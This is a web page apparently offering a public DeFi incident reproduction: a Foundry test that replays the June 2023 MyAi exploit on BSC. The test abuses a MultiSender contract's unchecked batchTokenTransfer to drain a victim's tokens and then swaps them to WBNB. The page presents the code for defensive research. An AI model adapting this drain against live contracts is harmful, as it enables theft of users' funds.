Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/MyAi_exp.sol

Public reproduction file for dataset entry MyAi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/MyAi_exp.sol72 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~10 $BNB
5// Attacker : https://bscscan.com/address/0xc47fcc9263b026033a94574ec432514c639a2d12
6// Attack Contract : https://bscscan.com/address/0x0d3aafb9ade835456b2595509ac1f58922e465b3
7// Vulnerable Contract : https://bscscan.com/address/0xdb103fd28ca4b18115f5ce908baaeed7e0f1f101
8// Attack Tx : https://bscscan.com/tx/0x346f65ac333eb6d69886f5614aaf569a561a53a8d93db4384bd7c0bec15ae9f6
9
10import "forge-std/Test.sol";
11import "./../interface.sol";
13interface IMultiSender {
14 function batchTokenTransfer(
15 address _from,
16 address[] memory _address,
17 uint256[] memory _amounts,
18 address token,
19 uint256 totalAmount,
20 bool isToken
21 ) external payable;
24contract ContractTest is Test {
25 IERC20 MyAi = IERC20(0x40d1E011669c0dc7Dc7c7Fb93E623d6A661Df5Ee);
26 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
27 IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
28 IMultiSender MultiSender = IMultiSender(0xDb103fd28Ca4B18115F5Ce908baaeed7E0f1f101);
29 address Victim = 0x003B724f9e1fa7350A7723BB8313ACBDbE7188CB;
31 function setUp() public {
32 vm.createSelectFork("bsc", 29_554_344 - 1);
33 vm.label(address(WBNB), "WBNB");
34 vm.label(address(MyAi), "MyAi");
35 vm.label(address(MultiSender), "MultiSender");
36 }
38 function testExploit() public {
39 emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);
40 MyAi.approve(address(PancakeRouter), type(uint256).max);
41 MyAi.approve(address(MultiSender), type(uint256).max);
43 address[] memory Attack = new address[](100);
44 for (uint256 i = 0; i < Attack.length; i++) {
45 Attack[i] = address(this);
46 }
47 uint256[] memory Token = new uint256[](100);
48 for (uint256 i = 0; i < Attack.length; i++) {
49 Token[i] = 999_999_999_999_400;
50 }
52 MultiSender.batchTokenTransfer{value: 1 ether}(
53 Victim, Attack, Token, address(MyAi), 999_999_999_999_400 * 100, true
54 );
55 for (uint256 i = 0; i < 100; i++) {
56 TOKENToWBNB();
57 }
58 emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);
59 }
61 function TOKENToWBNB() internal {
62 address[] memory path = new address[](2);
63 path[0] = address(MyAi);
64 path[1] = address(WBNB);
65 PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
66 999_999_999_999_400, 0, path, address(this), block.timestamp
67 );
68 }
70 fallback() external payable {}
71 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “MyAi” (2023-06-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc47fcc9263b026033a94574ec432514c639a2d12

  • Attack Contract

    0x0d3aafb9ade835456b2595509ac1f58922e465b3

  • Vulnerable Contract

    0xdb103fd28ca4b18115f5ce908baaeed7e0f1f101

  • Attack Tx

    0x346f65ac333eb6d69886f5614aaf569a561a53a8d93db4384bd7c0bec15ae9f6

File record

Name
MyAi
Path
src/test/2023-06/MyAi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6888cda542d65afaf528b7250c0cd9e88ceb6d3d
Language
Solidity
Size
73 lines
Date
2023-06-30
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/MyAi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6888cda542d65afaf528b7250c0cd9e88ceb6d3d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.